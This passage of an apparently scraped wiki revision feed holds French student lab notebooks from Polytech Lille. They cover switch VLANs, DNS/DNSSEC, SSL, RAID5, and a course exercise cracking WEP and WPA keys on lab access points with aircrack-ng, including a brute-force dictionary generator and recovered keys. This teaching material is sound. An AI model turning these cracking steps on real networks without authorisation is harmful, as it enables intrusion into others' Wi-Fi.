restart<br /> service apache2 reload<br /> <br /> Maintenant, lorsqu'on se connecte sur notre site avec le préfixe &quot;https://&quot;, le site s'ouvre bien, et on aperçoit un cadenas vert certifiant que le site est sécurisé.<br /> <br /> [[Fichier:ssl.png]]<br /> <br /> ===Sécurisation des données===<br /> <br /> root@Ironman:~# mdadm --detail /dev/md0<br /> /dev/md0:<br /> Version : 1.2<br /> Creation Time : Thu Dec 8 16:52:21 2016<br /> Raid Level : raid5<br /> Array Size : 2095104 (2046.34 MiB 2145.39 MB)<br /> Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)<br /> Raid Devices : 3<br /> Total Devices : 3<br /> Persistence : Superblock is persistent<br /> Update Time : Thu Dec 8 16:52:21 2016<br /> State : clean <br /> Active Devices : 3<br /> Working Devices : 3<br /> Failed Devices : 0<br /> Spare Devices : 0<br /> Layout : left-symmetric<br /> Chunk Size : 512K<br /> Name : Ironman:0 (local to host Ironman)<br /> UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9<br /> Events : 0<br /> Number Major Minor RaidDevice State<br /> 0 202 48 0 active sync /dev/xvdd<br /> 1 202 64 1 active sync /dev/xvde<br /> 2 202 80 2 active sync /dev/xvdf<br /> <br /> <br /> fichier de test sur le raid 5 (iron-man.txt):<br /> <br /> root@Ironman:/datamd0# ls<br /> lost+found test_ironman.txt<br /> <br /> première partion removed :<br /> <br /> root@Ironman:~# mdadm --detail /dev/md0<br /> /dev/md0:<br /> Version : 1.2<br /> Creation Time : Thu Dec 8 16:52:21 2016<br /> Raid Level : raid5<br /> Array Size : 2095104 (2046.34 MiB 2145.39 MB)<br /> Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)<br /> Raid Devices : 3<br /> Total Devices : 2<br /> Persistence : Superblock is persistent<br /> Update Time : Thu Dec 8 17:05:13 2016<br /> State : clean, degraded <br /> Active Devices : 2<br /> Working Devices : 2<br /> Failed Devices : 0<br /> Spare Devices : 0<br /> Layout : left-symmetric<br /> Chunk Size : 512K<br /> Name : Ironman:0 (local to host Ironman)<br /> UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9<br /> Events : 6<br /> Number Major Minor RaidDevice State<br /> 0 0 0 0 removed<br /> 1 202 64 1 active sync /dev/xvde<br /> 2 202 80 2 active sync /dev/xvdf<br /> <br /> fichier toujours présent :<br /> <br /> root@Ironman:~# ls /datamd0/<br /> lost+found test_ironman.txt<br /> <br /> On enlève la partition xvdf :<br /> <br /> root@Ironman:~# mdadm --set-faulty /dev/md0 /dev/xvdf<br /> [ 196.176623] md/raid:md0: Disk failure on xvdf, disabling device.<br /> [ 196.176623] md/raid:md0: Operation continuing on 1 devices.<br /> mdadm: set /dev/xvdf faulty in /dev/md0<br /> root@Ironman:~# mdadm --remove /dev/md0 /dev/xvdf<br /> [ 229.573919] md: unbind&lt;xvdf&gt;<br /> [ 229.573933] md: export_rdev(xvdf)<br /> mdadm: hot removed /dev/xvdf from /dev/md0<br /> <br /> ===Crackage de clé WEP===<br /> <br /> Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.<br /> Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille <br /> 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 <br /> 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 <br /> 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 <br /> 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 <br /> 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 <br /> 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 <br /> 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 <br /> 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 <br /> 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 <br /> 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 <br /> 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13 <br /> 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 <br /> 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 <br /> (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 <br /> (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 <br /> 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2<br /> <br /> Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :<br /> airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 <br /> <br /> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718 <br /> <br /> Une fois le fichier de capture créé, nous avons exécuter la commande <br /> <br /> aircrack cracotte06-01.cap<br /> <br /> afin débuter le crackage de la clé WEP.<br /> <br /> On obtient le résultat suivant en quelques minutes :<br /> <br /> [00:01:53] Tested 279622 keys (got 31535 IVs)<br /> <br /> KB depth byte(vote)<br /> 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) <br /> 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) <br /> 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) <br /> 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) <br /> 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) <br /> 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) <br /> 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) <br /> 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) <br /> 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) <br /> 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) <br /> 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) <br /> 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) <br /> 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) <br /> <br /> KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] <br /> Decrypted correctly: 100%<br /> <br /> La clé a été trouver et sa valeur est &quot;EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44&quot;<br /> <br /> ===Craquage de clé WPA===<br /> <br /> Le craquage d'une clé WPA est beaucoup plus long que celui d'une clé WEP car le crack doit effectuer un test sur tout les nombres à 8 chiffres jusqu'à arriver au mot de passe de la borne Wifi. C'est un crack en force brute.<br /> <br /> Nous avons donc tout d'abord génerer un fichier texte contenant tout les nombres à 8 chiffres (de 00000000 à 99999999) grâce au petit programme c suivant :<br /> <br /> #include &lt;stdio.h&gt;<br /> #include &lt;stdlib.h&gt;<br /> <br /> #define MAX_NUM 99999999<br /> <br /> int main(){<br /> long chiffre = 0;<br /> FILE* fp = NULL;<br /> fp = fopen(&quot;dictionnaire.txt&quot;,&quot;a+&quot;);<br /> if (fp != NULL){<br /> for (chiffre=0;chiffre&lt; MAX_NUM + 1;chiffre++)<br /> {<br /> fprintf(fp,&quot;%08li\n&quot;,chiffre);<br /> }<br /> fclose(fp);<br /> }<br /> return 0;<br /> }<br /> <br /> Une fois le dictionnaire généré, on effectue la même commande qu'avec le crackage WEP mais pour les clés WPA : <br /> <br /> 1. On bascule l'interface wifi en mode monitor :<br /> airmon-ng start wlan2<br /> <br /> 2. On fait un airodump-ng de tout les réseaux possédant un chiffrage WPA :<br /> airodump-ng --encrypt WPA wlan2<br /> <br /> On obtient le résultat suivant :<br /> <br /> 00:19:07:C5:0F:A4 -44 7 8 2 1 54e. WPA2 CCMP MGT PolytechLille <br /> 00:19:07:C5:0F:A2 -48 5 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A5 -48 6 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A3 -50 7 0 0 1 54e. WPA2 CCMP PSK PolytechGuests <br /> 00:19:07:C5:0F:A1 -50 7 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A7 -52 6 0 0 1 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 00:19:07:C5:0F:A6 -52 5 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A0 -54 6 2 0 1 54e. WPA2 CCMP MGT LILLE1 <br /> 00:19:07:C5:0F:A8 -55 5 5 0 1 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:9C:50:53 -62 5 0 0 13 54e. WPA2 CCMP PSK cracotte04 <br /> 04:DA:D2:9C:50:52 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte03 <br /> 04:DA:D2:9C:50:58 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte09 <br /> 04:DA:D2:9C:50:50 -66 5 0 0 13 54e. WPA2 CCMP PSK cracotte01 <br /> 04:DA:D2:9C:50:55 -65 6 0 0 13 54e. WPA2 CCMP PSK cracotte06 <br /> 04:DA:D2:9C:50:56 -65 3 0 0 13 54e. WPA2 CCMP PSK cracotte07 <br /> 04:DA:D2:9C:50:59 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte10 <br /> 04:DA:D2:9C:50:54 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte05 <br /> 04:DA:D2:9C:50:57 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte08 <br /> 04:DA:D2:9C:50:51 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte02 <br /> 04:DA:D2:CF:01:91 -69 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> C8:00:84:84:00:53 -70 3 0 0 9 54e. WPA2 CCMP PSK PolytechGuests <br /> C8:00:84:84:00:52 -71 4 0 0 9 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:98 -70 2 0 0 5 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:CF:01:90 -71 3 0 0 5 54e. WPA2 CCMP MGT LILLE1 <br /> 04:DA:D2:CF:01:95 -72 2 0 0 5 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:97 -72 2 0 0 5 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 04:DA:D2:CF:01:96 -72 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt;<br /> <br /> 3. Nous décidons de cracker cracotte09, on lance un airodump sur son essid et on effectue une capture <br /> <br /> airodump-ng -w cracotte09 --encrypt wpa -c 13 -essid cracotte09 wlan05<br /> <br /> 4. On lance le aircrack avec le fichier de capture et notre dictionnaire généré précédemment :<br /> <br /> aircrack-ng -w dictionnaire.txt cracotte09-01.cap<br /> <br /> 5. Au bout de 57:55 minutes, nous avons obtenu la clé suivante :<br /> <br /> passphrase : 12399909</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=35771 2016-12-08T14:17:18Z

<p>Rruet : </p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172<br /> <br /> ===Configuration d'une EtherChannel===<br /> <br /> Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.<br /> <br /> Voici la commande à rentrer dans l'interface de configuration du commutateur :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> 6 Switch-E304(config-if)#channel-protocol lacp<br /> 7 Switch-E304(config-if)#channel-group 1 mode passive<br /> 8 Switch-E304(config-if)#no shutdown<br /> 9 Switch-E304(config-if)#end<br /> 10 Switch-E304#write memory (enregistrer la configuration) <br /> <br /> Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.<br /> <br /> ===Serveur DNS et DNSSEC avec bind===<br /> <br /> La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi.<br /> Il faut alors se diriger sur la rubrique :''Gérer les Glue records''.<br /> A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :<br /> <br /> '''nom du serveur''' : ns.bielloumutherfucker.space<br /> <br /> '''IP''' : 193.48.57.167<br /> <br /> On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique ''modifier les serveurs DNS'' :<br /> <br /> '''DNS1''' : ns.bielloumutherfucker.space<br /> <br /> '''DNS2''' : ns6.gandi.net (serveur secondaire de Gandi)<br /> <br /> Une fois ces étapes effectuées, nous pouvons passer à la configuration du DNS avec bind. On se place alors dans le dossier ''/etc/bind'' de notre machine virtuelle.<br /> <br /> Nous modifions dans un premier temps le fichier ''named.conf.local'' afin d'y créer nos zones :<br /> <br /> zone &quot;bielloumutherfucker.space&quot; {<br /> type master;<br /> FIle &quot;/etc/bind/zones/db.bielloumutherfucker.space&quot;;<br /> allow-transfer {217.70.177.40; };<br /> notify yes; <br /> };<br /> <br /> nous créons ensuite un dossier ''zones'' à l'intérieur duquel nous créons notre fichier de zone ''db.bielloumutherfucker.space'' :<br /> <br /> $TTL 604800<br /> @ IN SOA ns.bielloumutherfucker.space. root.bielloumutherfucker.space. (<br /> 2015102001 ; Serial<br /> 86400 ; Refresh<br /> 3600 ; Retry<br /> 2419200 ; Expire<br /> 86400 ) ; Negative Cache TTL<br /> <br /> @ IN NS ns.bielloumutherfucker.space.<br /> @ IN NS ns6.gandi.net.<br /> ns IN A 193.48.57.167<br /> www IN A 193.48.57.167<br /> @ IN A 193.48.57.167<br /> <br /> Il nous faut ensuite modifier notre fichier ''/etc/resolv.conf'' afin de passer par notre serveur :<br /> <br /> search bielloumutherfucker.space<br /> nameserver 193.48.57.167<br /> <br /> A partir de ce moment là, notre serveur DNS est opérationnel. Il nous faut maintenant le sécuriser grâce à DNSSEC.<br /> <br /> Dans un premier temps, il nous faut générer les clefs asymétriques KSK et ZSK. Nous entrons alors les commandes suivantes dans le terminal :<br /> <br /> dnssec-keygen -a RSASHA1 -f KSK -b 2048 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef KSK<br /> dnssec-keygen -a RSASHA1 --b 1024 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef ZSK<br /> <br /> Nous avons maintenant 4 clefs : deux pour chaque type de clef (KSK ou ZSK) avec deux extention différentes (.key pour la clef publique, .private pour la privée).<br /> <br /> Après les avoir placé dans le répertoire ''bielloumutherfucker.space.dnssec'' que nous avons crée, on les renomme selon le schéma suivant :<br /> <br /> bielloumutherfucker.space-ksk.key et bielloumutherfucker.space-ksk.private<br /> bielloumutherfucker.space-zsk.key et bielloumutherfucker.space-zsk.private<br /> <br /> Nous pouvons maintenant signer la zone à l'aide de la commande suivante (depuis le dossier /etc/bind) :<br /> <br /> dnssec-signzone -o bielloumutherfucker.space -k bielloumutherfucker.space-ksk <br /> zones/db.bielloumutherfucker.space bielloumutherfucker.space-zsk<br /> <br /> Une nouvelle zone, signée, a donc été créée dans notre dossier ''zones''. Il ne nous reste plus qu'à modifier le fichier ''named.conf.local'' en rajoutant un ''.signed'' à la fin du champ File pour notre zone. Nous redémarrons ensuite le serveur bind.<br /> <br /> service bind9 restart<br /> <br /> Nous retournons sur le site de gandi et dans la rubrique ''gérer DNSSEC'' nous ajoutons notre clef publique avec l'algorithme ''RSASHA1''. Une fois la clef ajoutée sur gandi, on peut voir que tous s'est bien passé en faisant un tour sur le site ''Zone Master'', l'attribut DNSSEC est en effet coché et vert.<br /> <br /> [[Fichier:dnssec.png]]<br /> <br /> ===Sécurisation du site via certificat SSL===<br /> <br /> Il faut dans un premier temps générer la clefs CSR que nous donnerons à Gandi.<br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# openssl req -nodes -newkey rsa:2048 -sha256 -keyout Ironman.key -out Ironman.csr<br /> Generating a 2048 bit RSA private key<br /> ..................................................................+++<br /> .........................................+++<br /> writing new private key to 'Ironman.key'<br /> -----<br /> You are about to be asked to enter information that will be incorporated<br /> into your certificate request.<br /> What you are about to enter is what is called a Distinguished Name or a DN.<br /> There are quite a few fields but you can leave some blank<br /> For some fields there will be a default value,<br /> If you enter '.', the field will be left blank.<br /> -----<br /> Country Name (2 letter code) [AU]:FR<br /> State or Province Name (full name) [Some-State]:Nord <br /> Locality Name (eg, city) []:Lille<br /> Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille<br /> Organizational Unit Name (eg, section) []:IMA<br /> Common Name (e.g. server FQDN or YOUR name) []:bielloumutherfucker.space<br /> Email Address []:<br /> Please enter the following 'extra' attributes<br /> to be sent with your certificate request<br /> A challenge password []:<br /> An optional company name []:<br /> <br /> A partir de ce moment là, ls clefs ont été générées : <br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# ls<br /> Ironman.csr Ironman.key<br /> <br /> <br /> Et nous pouvons donner la CSR à Gandhi afin d'activer la procédure d'activation.<br /> <br /> De façon à recevoir le mail sur admin@bielloumutherfucker.space, nous devons modifier le fichier /etc/aliases et y rajouter la ligne suivante:<br /> <br /> [...]<br /> admin: root<br /> <br /> Une fois le certificat validé, il faut déplacer les clefs dans les dossiers suivants :<br /> <br /> cp Ironman.key /etc/ssl/private/bielloumutherfucker.space.key<br /> cp certificate-380187.crt /etc/ssl/certs/bielloumutherfucker.space.crt<br /> cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem (clef intermédiaire)<br /> <br /> On effectue ensuite un rehash des certificats :<br /> <br /> c_rehash /etc/ssl/certs<br /> Doing /etc/ssl/certs<br /> bielloumutherfucker.space.crt =&gt; 6860aa7d.0<br /> bielloumutherfucker.space.crt =&gt; 5692355e.0<br /> ssl-cert-snakeoil.pem =&gt; a036afff.0<br /> ssl-cert-snakeoil.pem =&gt; 4390636f.0<br /> GandiStandardSSLCA2.pem =&gt; 8544bf03.0<br /> GandiStandardSSLCA2.pem =&gt; e279a80b.0<br /> <br /> On crée ensuite le fichier ''000-bielloumutherfucker.space-ssl.conf'' dans le dossier /etc/apache2/sites-available :<br /> <br /> #NameVirtualHost *:443<br /> &lt;VirtualHost 193.48.57.167:443&gt;<br /> ServerName www.bielloumutherfucker.space<br /> ServerAlias bielloumutherfucker.space<br /> DocumentRoot /var/www/html/<br /> CustomLog /var/log/apache2/secure_access.log combined<br /> <br /> SSLEngine on<br /> SSLCertificateFile /etc/ssl/certs/bielloumutherfucker.space.crt<br /> SSLCertificateKeyFile /etc/ssl/private/bielloumutherfucker.space.key<br /> SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br /> SSLVerifyClient None<br /> &lt;/VirtualHost&gt;<br /> &lt;Directory /var/www/html&gt;<br /> Require all granted<br /> &lt;/Directory&gt;<br /> ServerName &quot;bielloumutherfucker.space&quot;<br /> <br /> Puis on modifie le fichier /etc/apache/ports.conf afin qu'apache écoute sur le port 443 (ssl) :<br /> <br /> Listen 80 443<br /> &lt;IfModule ssl_module&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> &lt;IfModule mod_gnutls.c&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> <br /> On doit ensuite autoriser apache à utiliser son module ssl : <br /> <br /> a2enmod ssl<br /> <br /> Puis on autorise notre site à utiliser ssl :<br /> <br /> a2ensite 000-bielloumutherfucker.space-ssl.conf<br /> <br /> Ensuite :<br /> <br /> service apache2 restart<br /> service apache2 reload<br /> <br /> Maintenant, lorsqu'on se connecte sur notre site avec le préfixe &quot;https://&quot;, le site s'ouvre bien, et on aperçoit un cadenas vert certifiant que le site est sécurisé.<br /> <br /> [[Fichier:ssl.png]]<br /> <br /> ===Sécurisation des données===<br /> <br /> root@Ironman:~# mdadm --detail /dev/md0<br /> /dev/md0:<br /> Version : 1.2<br /> Creation Time : Thu Dec 8 16:52:21 2016<br /> Raid Level : raid5<br /> Array Size : 2095104 (2046.34 MiB 2145.39 MB)<br /> Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)<br /> Raid Devices : 3<br /> Total Devices : 3<br /> Persistence : Superblock is persistent<br /> <br /> Update Time : Thu Dec 8 16:52:21 2016<br /> State : clean <br /> Active Devices : 3<br /> Working Devices : 3<br /> Failed Devices : 0<br /> Spare Devices : 0<br /> <br /> Layout : left-symmetric<br /> Chunk Size : 512K<br /> <br /> Name : Ironman:0 (local to host Ironman)<br /> UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9<br /> Events : 0<br /> <br /> Number Major Minor RaidDevice State<br /> 0 202 48 0 active sync /dev/xvdd<br /> 1 202 64 1 active sync /dev/xvde<br /> 2 202 80 2 active sync /dev/xvdf<br /> <br /> <br /> ===Crackage de clé WEP===<br /> <br /> Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.<br /> Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille <br /> 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 <br /> 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 <br /> 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 <br /> 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 <br /> 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 <br /> 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 <br /> 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 <br /> 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 <br /> 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 <br /> 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 <br /> 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13 <br /> 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 <br /> 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 <br /> (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 <br /> (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 <br /> 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2<br /> <br /> Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :<br /> airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 <br /> <br /> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718 <br /> <br /> Une fois le fichier de capture créé, nous avons exécuter la commande <br /> <br /> aircrack cracotte06-01.cap<br /> <br /> afin débuter le crackage de la clé WEP.<br /> <br /> On obtient le résultat suivant en quelques minutes :<br /> <br /> [00:01:53] Tested 279622 keys (got 31535 IVs)<br /> <br /> KB depth byte(vote)<br /> 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) <br /> 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) <br /> 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) <br /> 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) <br /> 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) <br /> 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) <br /> 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) <br /> 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) <br /> 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) <br /> 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) <br /> 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) <br /> 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) <br /> 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) <br /> <br /> KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] <br /> Decrypted correctly: 100%<br /> <br /> La clé a été trouver et sa valeur est &quot;EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44&quot;<br /> <br /> ===Craquage de clé WPA===<br /> <br /> Le craquage d'une clé WPA est beaucoup plus long que celui d'une clé WEP car le crack doit effectuer un test sur tout les nombres à 8 chiffres jusqu'à arriver au mot de passe de la borne Wifi. C'est un crack en force brute.<br /> <br /> Nous avons donc tout d'abord génerer un fichier texte contenant tout les nombres à 8 chiffres (de 00000000 à 99999999) grâce au petit programme c suivant :<br /> <br /> #include &lt;stdio.h&gt;<br /> #include &lt;stdlib.h&gt;<br /> <br /> #define MAX_NUM 99999999<br /> <br /> int main(){<br /> long chiffre = 0;<br /> FILE* fp = NULL;<br /> fp = fopen(&quot;dictionnaire.txt&quot;,&quot;a+&quot;);<br /> if (fp != NULL){<br /> for (chiffre=0;chiffre&lt; 